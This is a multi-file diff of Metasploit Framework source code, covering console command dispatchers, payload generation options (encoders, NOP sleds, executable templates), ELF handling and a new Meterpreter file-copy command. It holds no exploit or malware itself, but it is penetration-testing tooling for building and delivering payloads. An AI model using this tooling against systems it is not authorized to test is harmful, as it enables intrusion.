||||
#
|
||||
def cmd_popm_help
|
||||
print_line "Usage: popm [n]"
|
||||
print_line
|
||||
print_line "pop the latest module off of the module stack and make it the active module"
|
||||
print_line "or pop n modules off the stack, but don't change the active module"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the use command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completd
|
||||
|
||||
def cmd_use_tabs(str, words)
|
||||
return [] if words.length > 1
|
||||
|
||||
tab_complete_module(str, words)
|
||||
end
|
||||
|
||||
def cmd_reload_all_help
|
||||
print_line "Usage: reload_all"
|
||||
print_line
|
||||
print_line "Reload all modules from all configured module paths. This may take awhile."
|
||||
print_line "See also: loadpath"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Reload all module paths that we are aware of
|
||||
#
|
||||
def cmd_reload_all(*args)
|
||||
if args.length > 0
|
||||
cmd_reload_all_help
|
||||
return
|
||||
end
|
||||
print_status("Reloading modules from all module paths...")
|
||||
framework.modules.reload_modules
|
||||
|
||||
# Check for modules that failed to load
|
||||
if framework.modules.module_load_error_by_path.length > 0
|
||||
print_error("WARNING! The following modules could not be loaded!")
|
||||
|
||||
framework.modules.module_load_error_by_path.each do |path, error|
|
||||
print_error("\t#{path}: #{error}")
|
||||
end
|
||||
end
|
||||
|
||||
if framework.modules.module_load_warnings.length > 0
|
||||
print_warning("The following modules were loaded with warnings:")
|
||||
framework.modules.module_load_warnings.each do |path, error|
|
||||
print_warning("\t#{path}: #{error}")
|
||||
end
|
||||
end
|
||||
|
||||
self.driver.run_single("banner")
|
||||
end
|
||||
|
||||
def cmd_back_help
|
||||
print_line "Usage: back"
|
||||
print_line
|
||||
print_line "Return to the global dispatcher context"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Pop the current dispatcher stack context, assuming it isn't pointed at
|
||||
# the core or database backend stack context.
|
||||
#
|
||||
def cmd_back(*args)
|
||||
if (driver.dispatcher_stack.size > 1 and
|
||||
driver.current_dispatcher.name != 'Core' and
|
||||
driver.current_dispatcher.name != 'Database Backend')
|
||||
# Reset the active module if we have one
|
||||
if (active_module)
|
||||
|
||||
# Do NOT reset the UI anymore
|
||||
# active_module.reset_ui
|
||||
|
||||
# Save the module's datastore so that we can load it later
|
||||
# if the module is used again
|
||||
@dscache[active_module.fullname] = active_module.datastore.dup
|
||||
|
||||
self.active_module = nil
|
||||
end
|
||||
|
||||
# Destack the current dispatcher
|
||||
driver.destack_dispatcher
|
||||
|
||||
# Restore the prompt
|
||||
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
driver.update_prompt("#{prompt} ", prompt_char, true)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab complete module names
|
||||
#
|
||||
def tab_complete_module(str, words)
|
||||
res = []
|
||||
framework.modules.module_types.each do |mtyp|
|
||||
mset = framework.modules.module_names(mtyp)
|
||||
mset.each do |mref|
|
||||
res << mtyp + '/' + mref
|
||||
end
|
||||
end
|
||||
|
||||
return res.sort
|
||||
end
|
||||
|
||||
#
|
||||
# Module list enumeration
|
||||
#
|
||||
|
||||
def show_encoders(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
# If an active module has been selected and it's an exploit, get the
|
||||
# list of compatible encoders and display them
|
||||
if (active_module and active_module.exploit? == true)
|
||||
show_module_set("Compatible Encoders", active_module.compatible_encoders, regex, minrank, opts)
|
||||
else
|
||||
show_module_set("Encoders", framework.encoders, regex, minrank, opts)
|
||||
end
|
||||
end
|
||||
|
||||
def show_nops(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
show_module_set("NOP Generators", framework.nops, regex, minrank, opts)
|
||||
end
|
||||
|
||||
def show_exploits(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
show_module_set("Exploits", framework.exploits, regex, minrank, opts)
|
||||
end
|
||||
|
||||
def show_payloads(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
# If an active module has been selected and it's an exploit, get the
|
||||
# list of compatible payloads and display them
|
||||
if (active_module and active_module.exploit? == true)
|
||||
show_module_set("Compatible Payloads", active_module.compatible_payloads, regex, minrank, opts)
|
||||
else
|
||||
show_module_set("Payloads", framework.payloads, regex, minrank, opts)
|
||||
end
|
||||
end
|
||||
|
||||
def show_auxiliary(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
show_module_set("Auxiliary", framework.auxiliary, regex, minrank, opts)
|
||||
end
|
||||
|
||||
def show_post(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
show_module_set("Post", framework.post, regex, minrank, opts)
|
||||
end
|
||||
|
||||
def show_options(mod) # :nodoc:
|
||||
mod_opt = Serializer::ReadableText.dump_options(mod, ' ')
|
||||
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
|
||||
|
||||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
return
|
||||
end
|
||||
|
||||
p.share_datastore(mod.datastore)
|
||||
|
||||
if (p)
|
||||
p_opt = Serializer::ReadableText.dump_options(p, ' ')
|
||||
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
|
||||
end
|
||||
end
|
||||
|
||||
# Print the selected target
|
||||
if (mod.exploit? and mod.target)
|
||||
mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ')
|
||||
print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0)
|
||||
end
|
||||
|
||||
# Print the selected action
|
||||
if mod.kind_of?(Msf::Module::HasActions) && mod.action
|
||||
mod_action = Serializer::ReadableText.dump_module_action(mod, ' ')
|
||||
print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
|
||||
end
|
||||
|
||||
# Uncomment this line if u want target like msf2 format
|
||||
#print("\nTarget: #{mod.target.name}\n\n")
|
||||
end
|
||||
|
||||
def show_missing(mod) # :nodoc:
|
||||
mod_opt = Serializer::ReadableText.dump_options(mod, ' ', true)
|
||||
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
|
||||
|
||||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
return
|
||||
end
|
||||
|
||||
p.share_datastore(mod.datastore)
|
||||
|
||||
if (p)
|
||||
p_opt = Serializer::ReadableText.dump_options(p, ' ', true)
|
||||
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def show_global_options
|
||||
columns = [ 'Option', 'Current Setting', 'Description' ]
|
||||
tbl = Table.new(
|
||||
Table::Style::Default,
|
||||
'Header' => 'Global Options:',
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' => columns
|
||||
)
|
||||
[
|
||||
[ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ],
|
||||
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ],
|
||||
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
|
||||
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
|
||||
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],
|
||||
[ 'Prompt', framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt.to_s.gsub(/%.../,"") , "The prompt string" ],
|
||||
[ 'PromptChar', framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar.to_s.gsub(/%.../,""), "The prompt character" ],
|
||||
[ 'PromptTimeFormat', framework.datastore['PromptTimeFormat'] || Time::DATE_FORMATS[:db].to_s, 'Format for timestamp escapes in prompts' ],
|
||||
].each { |r| tbl << r }
|
||||
|
||||
print(tbl.to_s)
|
||||
end
|
||||
|
||||
def show_targets(mod) # :nodoc:
|
||||
mod_targs = Serializer::ReadableText.dump_exploit_targets(mod, ' ')
|
||||
print("\nExploit targets:\n\n#{mod_targs}\n") if (mod_targs and mod_targs.length > 0)
|
||||
end
|
||||
|
||||
def show_actions(mod) # :nodoc:
|
||||
mod_actions = Serializer::ReadableText.dump_module_actions(mod, ' ')
|
||||
print("\n#{mod.type.capitalize} actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0)
|
||||
end
|
||||
|
||||
def show_advanced_options(mod) # :nodoc:
|
||||
mod_opt = Serializer::ReadableText.dump_advanced_options(mod, ' ')
|
||||
print("\nModule advanced options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
|
||||
|
||||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
return
|
||||
end
|
||||
|
||||
p.share_datastore(mod.datastore)
|
||||
|
||||
if (p)
|
||||
p_opt = Serializer::ReadableText.dump_advanced_options(p, ' ')
|
||||
print("\nPayload advanced options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def show_evasion_options(mod) # :nodoc:
|
||||
mod_opt = Serializer::ReadableText.dump_evasion_options(mod, ' ')
|
||||
print("\nModule evasion options:\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
|
||||
|
||||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
return
|
||||
end
|
||||
|
||||
p.share_datastore(mod.datastore)
|
||||
|
||||
if (p)
|
||||
p_opt = Serializer::ReadableText.dump_evasion_options(p, ' ')
|
||||
print("\nPayload evasion options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def show_plugins # :nodoc:
|
||||
tbl = Table.new(
|
||||
Table::Style::Default,
|
||||
'Header' => 'Plugins',
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' => [ 'Name', 'Description' ]
|
||||
)
|
||||
|
||||
framework.plugins.each { |plugin|
|
||||
tbl << [ plugin.name, plugin.desc ]
|
||||
}
|
||||
|
||||
print(tbl.to_s)
|
||||
end
|
||||
|
||||
def show_module_set(type, module_set, regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
tbl = generate_module_table(type)
|
||||
module_set.sort.each { |refname, mod|
|
||||
o = nil
|
||||
|
||||
begin
|
||||
o = mod.new
|
||||
rescue ::Exception
|
||||
end
|
||||
next if not o
|
||||
|
||||
# handle a search string, search deep
|
||||
if (
|
||||
not regex or
|
||||
o.name.match(regex) or
|
||||
o.description.match(regex) or
|
||||
o.refname.match(regex) or
|
||||
o.references.map{|x| [x.ctx_id + '-' + x.ctx_val, x.to_s]}.join(' ').match(regex) or
|
||||
o.author.to_s.match(regex)
|
||||
)
|
||||
if (not minrank or minrank <= o.rank)
|
||||
show = true
|
||||
if opts
|
||||
mod_opt_keys = o.options.keys.map { |x| x.downcase }
|
||||
|
||||
opts.each do |opt,val|
|
||||
if !mod_opt_keys.include?(opt.downcase) || (val != nil && o.datastore[opt] != val)
|
||||
show = false
|
||||
end
|
||||
end
|
||||
end
|
||||
if (opts == nil or show == true)
|
||||
tbl << [ refname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
|
||||
end
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
print(tbl.to_s)
|
||||
end
|
||||
|
||||
def generate_module_table(type) # :nodoc:
|
||||
Table.new(
|
||||
Table::Style::Default,
|
||||
'Header' => type,
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ]
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -3,139 +3,141 @@
|
||||
require 'rex/parser/arguments'
|
||||
|
||||
module Msf
|
||||
module Ui
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
|
||||
module Ui
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
###
|
||||
#
|
||||
# Payload module command dispatcher.
|
||||
#
|
||||
###
|
||||
class Payload
|
||||
class Payload
|
||||
|
||||
include Msf::Ui::Console::ModuleCommandDispatcher
|
||||
include Msf::Ui::Console::ModuleCommandDispatcher
|
||||
|
||||
# Load supported formats
|
||||
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
|
||||
# Load supported formats
|
||||
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
|
||||
|
||||
@@generate_opts = Rex::Parser::Arguments.new(
|
||||
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
|
||||
"-E" => [ false, "Force encoding." ],
|
||||
"-e" => [ true, "The name of the encoder module to use." ],
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
|
||||
"-s" => [ true, "NOP sled length." ],
|
||||
"-f" => [ true, "The output file name (otherwise stdout)" ],
|
||||
"-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
|
||||
"-p" => [ true, "The Platform for output." ],
|
||||
"-k" => [ false, "Keep the template executable functional" ],
|
||||
"-x" => [ true, "The executable template to use" ],
|
||||
"-i" => [ true, "the number of encoding iterations." ])
|
||||
@@generate_opts = Rex::Parser::Arguments.new(
|
||||
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
|
||||
"-E" => [ false, "Force encoding." ],
|
||||
"-e" => [ true, "The name of the encoder module to use." ],
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
|
||||
"-s" => [ true, "NOP sled length." ],
|
||||
"-f" => [ true, "The output file name (otherwise stdout)" ],
|
||||
"-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
|
||||
"-p" => [ true, "The Platform for output." ],
|
||||
"-k" => [ false, "Keep the template executable functional" ],
|
||||
"-x" => [ true, "The executable template to use" ],
|
||||
"-i" => [ true, "the number of encoding iterations." ])
|
||||
|
||||
#
|
||||
# Returns the hash of commands specific to payload modules.
|
||||
#
|
||||
def commands
|
||||
super.update({
|
||||
"generate" => "Generates a payload",
|
||||
})
|
||||
end
|
||||
#
|
||||
# Returns the hash of commands specific to payload modules.
|
||||
#
|
||||
def commands
|
||||
super.update({
|
||||
"generate" => "Generates a payload",
|
||||
})
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command dispatcher name.
|
||||
#
|
||||
def name
|
||||
return "Payload"
|
||||
end
|
||||
#
|
||||
# Returns the command dispatcher name.
|
||||
#
|
||||
def name
|
||||
return "Payload"
|
||||
end
|
||||
|
||||
#
|
||||
# Generates a payload.
|
||||
#
|
||||
def cmd_generate(*args)
|
||||
#
|
||||
# Generates a payload.
|
||||
#
|
||||
def cmd_generate(*args)
|
||||
|
||||
# Parse the arguments
|
||||
encoder_name = nil
|
||||
sled_size = nil
|
||||
option_str = nil
|
||||
badchars = nil
|
||||
type = "ruby"
|
||||
ofile = nil
|
||||
iter = 1
|
||||
force = nil
|
||||
template = nil
|
||||
plat = nil
|
||||
keep = false
|
||||
# Parse the arguments
|
||||
encoder_name = nil
|
||||
sled_size = nil
|
||||
option_str = nil
|
||||
badchars = nil
|
||||
type = "ruby"
|
||||
ofile = nil
|
||||
iter = 1
|
||||
force = nil
|
||||
template = nil
|
||||
plat = nil
|
||||
keep = false
|
||||
|
||||
@@generate_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when '-b'
|
||||
badchars = Rex::Text.hex_to_raw(val)
|
||||
when '-e'
|
||||
encoder_name = val
|
||||
when '-E'
|
||||
force = true
|
||||
when '-o'
|
||||
option_str = val
|
||||
when '-s'
|
||||
sled_size = val.to_i
|
||||
when '-t'
|
||||
type = val
|
||||
when '-f'
|
||||
ofile = val
|
||||
when '-i'
|
||||
iter = val
|
||||
when '-k'
|
||||
keep = true
|
||||
when '-p'
|
||||
plat = val
|
||||
when '-x'
|
||||
template = val
|
||||
when '-h'
|
||||
print(
|
||||
"Usage: generate [options]\n\n" +
|
||||
"Generates a payload.\n" +
|
||||
@@generate_opts.usage)
|
||||
return true
|
||||
end
|
||||
}
|
||||
if (encoder_name.nil? and mod.datastore['ENCODER'])
|
||||
encoder_name = mod.datastore['ENCODER']
|
||||
end
|
||||
|
||||
|
||||
# Generate the payload
|
||||
begin
|
||||
buf = mod.generate_simple(
|
||||
'BadChars' => badchars,
|
||||
'Encoder' => encoder_name,
|
||||
'Format' => type,
|
||||
'NopSledSize' => sled_size,
|
||||
'OptionStr' => option_str,
|
||||
'ForceEncode' => force,
|
||||
'Template' => template,
|
||||
'Platform' => plat,
|
||||
'KeepTemplateWorking' => keep,
|
||||
'Iterations' => iter)
|
||||
rescue
|
||||
log_error("Payload generation failed: #{$!}")
|
||||
return false
|
||||
end
|
||||
|
||||
if(not ofile)
|
||||
# Display generated payload
|
||||
print(buf)
|
||||
else
|
||||
print_status("Writing #{buf.length} bytes to #{ofile}...")
|
||||
fd = File.open(ofile, "wb")
|
||||
fd.write(buf)
|
||||
fd.close
|
||||
end
|
||||
|
||||
@@generate_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when '-b'
|
||||
badchars = Rex::Text.hex_to_raw(val)
|
||||
when '-e'
|
||||
encoder_name = val
|
||||
when '-E'
|
||||
force = true
|
||||
when '-o'
|
||||
option_str = val
|
||||
when '-s'
|
||||
sled_size = val.to_i
|
||||
when '-t'
|
||||
type = val
|
||||
when '-f'
|
||||
ofile = val
|
||||
when '-i'
|
||||
iter = val
|
||||
when '-k'
|
||||
keep = true
|
||||
when '-p'
|
||||
plat = val
|
||||
when '-x'
|
||||
template = val
|
||||
when '-h'
|
||||
print(
|
||||
"Usage: generate [options]\n\n" +
|
||||
"Generates a payload.\n" +
|
||||
@@generate_opts.usage)
|
||||
return true
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
}
|
||||
if (encoder_name.nil? and mod.datastore['ENCODER'])
|
||||
encoder_name = mod.datastore['ENCODER']
|
||||
end
|
||||
|
||||
|
||||
# Generate the payload
|
||||
begin
|
||||
buf = mod.generate_simple(
|
||||
'BadChars' => badchars,
|
||||
'Encoder' => encoder_name,
|
||||
'Format' => type,
|
||||
'NopSledSize' => sled_size,
|
||||
'OptionStr' => option_str,
|
||||
'ForceEncode' => force,
|
||||
'Template' => template,
|
||||
'Platform' => plat,
|
||||
'KeepTemplateWorking' => keep,
|
||||
'Iterations' => iter)
|
||||
rescue
|
||||
log_error("Payload generation failed: #{$!}")
|
||||
return false
|
||||
end
|
||||
|
||||
if(not ofile)
|
||||
# Display generated payload
|
||||
print(buf)
|
||||
else
|
||||
print_status("Writing #{buf.length} bytes to #{ofile}...")
|
||||
fd = File.open(ofile, "wb")
|
||||
fd.write(buf)
|
||||
fd.close
|
||||
end
|
||||
|
||||
return true
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end end end
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# Rex
|
||||
#
|
||||
|
||||
require 'rex/ui/text/output/buffer/stdout'
|
||||
|
||||
|
||||
module Msf
|
||||
module Ui
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
|
||||
#
|
||||
# {CommandDispatcher} for commands related to background jobs in Metasploit Framework.
|
||||
#
|
||||
class Resource
|
||||
|
||||
include Msf::Ui::Console::CommandDispatcher
|
||||
|
||||
|
||||
def commands
|
||||
{
|
||||
"resource" => "Run the commands stored in a file",
|
||||
"makerc" => "Save commands entered since start to a file",
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the name of the command dispatcher.
|
||||
#
|
||||
def name
|
||||
"Resource Script"
|
||||
end
|
||||
|
||||
def cmd_resource_help
|
||||
print_line "Usage: resource path1 [path2 ...]"
|
||||
print_line
|
||||
print_line "Run the commands stored in the supplied files. Resource files may also contain"
|
||||
print_line "ruby code between <ruby></ruby> tags."
|
||||
print_line
|
||||
print_line "See also: makerc"
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_resource(*args)
|
||||
if args.empty?
|
||||
cmd_resource_help
|
||||
return false
|
||||
end
|
||||
|
||||
args.each do |res|
|
||||
good_res = nil
|
||||
if ::File.exist?(res)
|
||||
good_res = res
|
||||
elsif
|
||||
# let's check to see if it's in the scripts/resource dir (like when tab completed)
|
||||
[
|
||||
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
|
||||
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
|
||||
].each do |dir|
|
||||
res_path = dir + ::File::SEPARATOR + res
|
||||
if ::File.exist?(res_path)
|
||||
good_res = res_path
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if good_res
|
||||
driver.load_resource(good_res)
|
||||
else
|
||||
print_error("#{res} is not a valid resource file")
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the resource command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_resource_tabs(str, words)
|
||||
tabs = []
|
||||
#return tabs if words.length > 1
|
||||
if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ )
|
||||
# then you are probably specifying a full path so let's just use normal file completion
|
||||
return tab_complete_filenames(str,words)
|
||||
elsif (not words[1] or not words[1].match(/^\//))
|
||||
# then let's start tab completion in the scripts/resource directories
|
||||
begin
|
||||
[
|
||||
::Msf::Config.script_directory + File::SEPARATOR + "resource",
|
||||
::Msf::Config.user_script_directory + File::SEPARATOR + "resource",
|
||||
"."
|
||||
].each do |dir|
|
||||
next if not ::File.exist? dir
|
||||
tabs += ::Dir.new(dir).find_all { |e|
|
||||
path = dir + File::SEPARATOR + e
|
||||
::File.file?(path) and File.readable?(path)
|
||||
}
|
||||
end
|
||||
rescue Exception
|
||||
end
|
||||
else
|
||||
tabs += tab_complete_filenames(str,words)
|
||||
end
|
||||
return tabs
|
||||
end
|
||||
|
||||
def cmd_makerc_help
|
||||
print_line "Usage: makerc <output rc file>"
|
||||
print_line
|
||||
print_line "Save the commands executed since startup to the specified file."
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Saves commands executed since the ui started to the specified msfrc file
|
||||
#
|
||||
def cmd_makerc(*args)
|
||||
if args.empty?
|
||||
cmd_makerc_help
|
||||
return false
|
||||
end
|
||||
driver.save_recent_history(args[0])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -26,6 +26,15 @@ class Driver < Msf::Ui::Driver
|
||||
DefaultPrompt = "%undmsf%clr"
|
||||
DefaultPromptChar = "%clr>"
|
||||
|
||||
#
|
||||
# Console Command Dispatchers to be loaded after the Core dispatcher.
|
||||
#
|
||||
CommandDispatchers = [
|
||||
CommandDispatcher::Modules,
|
||||
CommandDispatcher::Jobs,
|
||||
CommandDispatcher::Resource
|
||||
]
|
||||
|
||||
#
|
||||
# The console driver processes various framework notified events.
|
||||
#
|
||||
@@ -108,6 +117,10 @@ class Driver < Msf::Ui::Driver
|
||||
print_error("***")
|
||||
end
|
||||
|
||||
# Load the other "core" command dispatchers
|
||||
CommandDispatchers.each do |dispatcher|
|
||||
enstack_dispatcher(dispatcher)
|
||||
end
|
||||
|
||||
# Add the database dispatcher if it is usable
|
||||
if (framework.db.usable)
|
||||
|
||||
@@ -107,6 +107,10 @@ require 'msf/core/exe/segment_appender'
|
||||
# @return [String]
|
||||
# @return [NilClass]
|
||||
def self.to_executable(framework, arch, plat, code = '', opts = {})
|
||||
if elf? code
|
||||
return code
|
||||
end
|
||||
|
||||
if arch.index(ARCH_X86)
|
||||
|
||||
if plat.index(Msf::Module::Platform::Windows)
|
||||
@@ -959,6 +963,9 @@ require 'msf/core/exe/segment_appender'
|
||||
# @param big_endian [Boolean] Set to "false" by default
|
||||
# @return [String]
|
||||
def self.to_exe_elf(framework, opts, template, code, big_endian=false)
|
||||
if elf? code
|
||||
return code
|
||||
end
|
||||
|
||||
# Allow the user to specify their own template
|
||||
set_template_default(opts, template)
|
||||
@@ -2127,6 +2134,9 @@ require 'msf/core/exe/segment_appender'
|
||||
exeopts[:uac] = true
|
||||
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
|
||||
when 'elf'
|
||||
if elf? code
|
||||
return code
|
||||
end
|
||||
if !plat || plat.index(Msf::Module::Platform::Linux)
|
||||
case arch
|
||||
when ARCH_X86,nil
|
||||
@@ -2154,6 +2164,9 @@ require 'msf/core/exe/segment_appender'
|
||||
end
|
||||
end
|
||||
when 'elf-so'
|
||||
if elf? code
|
||||
return code
|
||||
end
|
||||
if !plat || plat.index(Msf::Module::Platform::Linux)
|
||||
case arch
|
||||
when ARCH_X64
|
||||
@@ -2293,6 +2306,10 @@ require 'msf/core/exe/segment_appender'
|
||||
bo
|
||||
end
|
||||
|
||||
def self.elf?(code)
|
||||
code[0..3] == "\x7FELF"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -29,7 +29,8 @@ class PayloadCachedSize
|
||||
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
|
||||
'RC4PASSWORD' => 'Metasploit',
|
||||
'DNSZONE' => 'corelan.eu',
|
||||
'PEXEC' => '/bin/sh'
|
||||
'PEXEC' => '/bin/sh',
|
||||
'StagerURILength' => 5
|
||||
},
|
||||
'Encoder' => nil,
|
||||
'DisableNops' => true
|
||||
|
||||
@@ -12,6 +12,7 @@ module Sinks
|
||||
class TimestampFlatfile < Flatfile
|
||||
|
||||
def log(sev, src, level, msg, from) # :nodoc:
|
||||
return unless msg.present?
|
||||
msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ")
|
||||
fd.write("[#{get_current_timestamp}] #{msg}\n")
|
||||
fd.flush
|
||||
|
||||
@@ -226,6 +226,24 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
||||
alias rename mv
|
||||
end
|
||||
|
||||
#
|
||||
# Performs a copy from oldname to newname
|
||||
#
|
||||
def File.cp(oldname, newname)
|
||||
request = Packet.create_request('stdapi_fs_file_copy')
|
||||
|
||||
request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname ))
|
||||
request.add_tlv(TLV_TYPE_FILE_PATH, client.unicode_filter_decode( newname ))
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
return response
|
||||
end
|
||||
|
||||
class << self
|
||||
alias copy cp
|
||||
end
|
||||
|
||||
#
|
||||
# Upload one or more files to the remote remote directory supplied in
|
||||
# +destination+.
|
||||
@@ -319,6 +337,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
||||
if ::File.exist?(dest_file)
|
||||
dst_stat = ::File.stat(dest_file)
|
||||
if src_stat.size == dst_stat.size && src_stat.mtime == dst_stat.mtime
|
||||
src_fd.close
|
||||
return 'skipped'
|
||||
end
|
||||
end
|
||||
|
||||
@@ -71,6 +71,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
'pwd' => 'Print working directory',
|
||||
'rm' => 'Delete the specified file',
|
||||
'mv' => 'Move source to destination',
|
||||
'cp' => 'Copy source to destination',
|
||||
'rmdir' => 'Remove directory',
|
||||
'search' => 'Search for files',
|
||||
'upload' => 'Upload a file or directory',
|
||||
@@ -95,6 +96,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
'rmdir' => ['stdapi_fs_delete_dir'],
|
||||
'rm' => ['stdapi_fs_delete_file'],
|
||||
'mv' => ['stdapi_fs_file_move'],
|
||||
'cp' => ['stdapi_fs_file_copy'],
|
||||
'search' => ['stdapi_fs_search'],
|
||||
'upload' => [],
|
||||
'show_mount' => ['stdapi_fs_mount_show'],
|
||||
|
||||
@@ -139,7 +139,7 @@ begin
|
||||
# for rb-readline to support setting input and output. Output needs to be set so that colorization works for the
|
||||
# prompt on Windows.
|
||||
self.prompt = prompt
|
||||
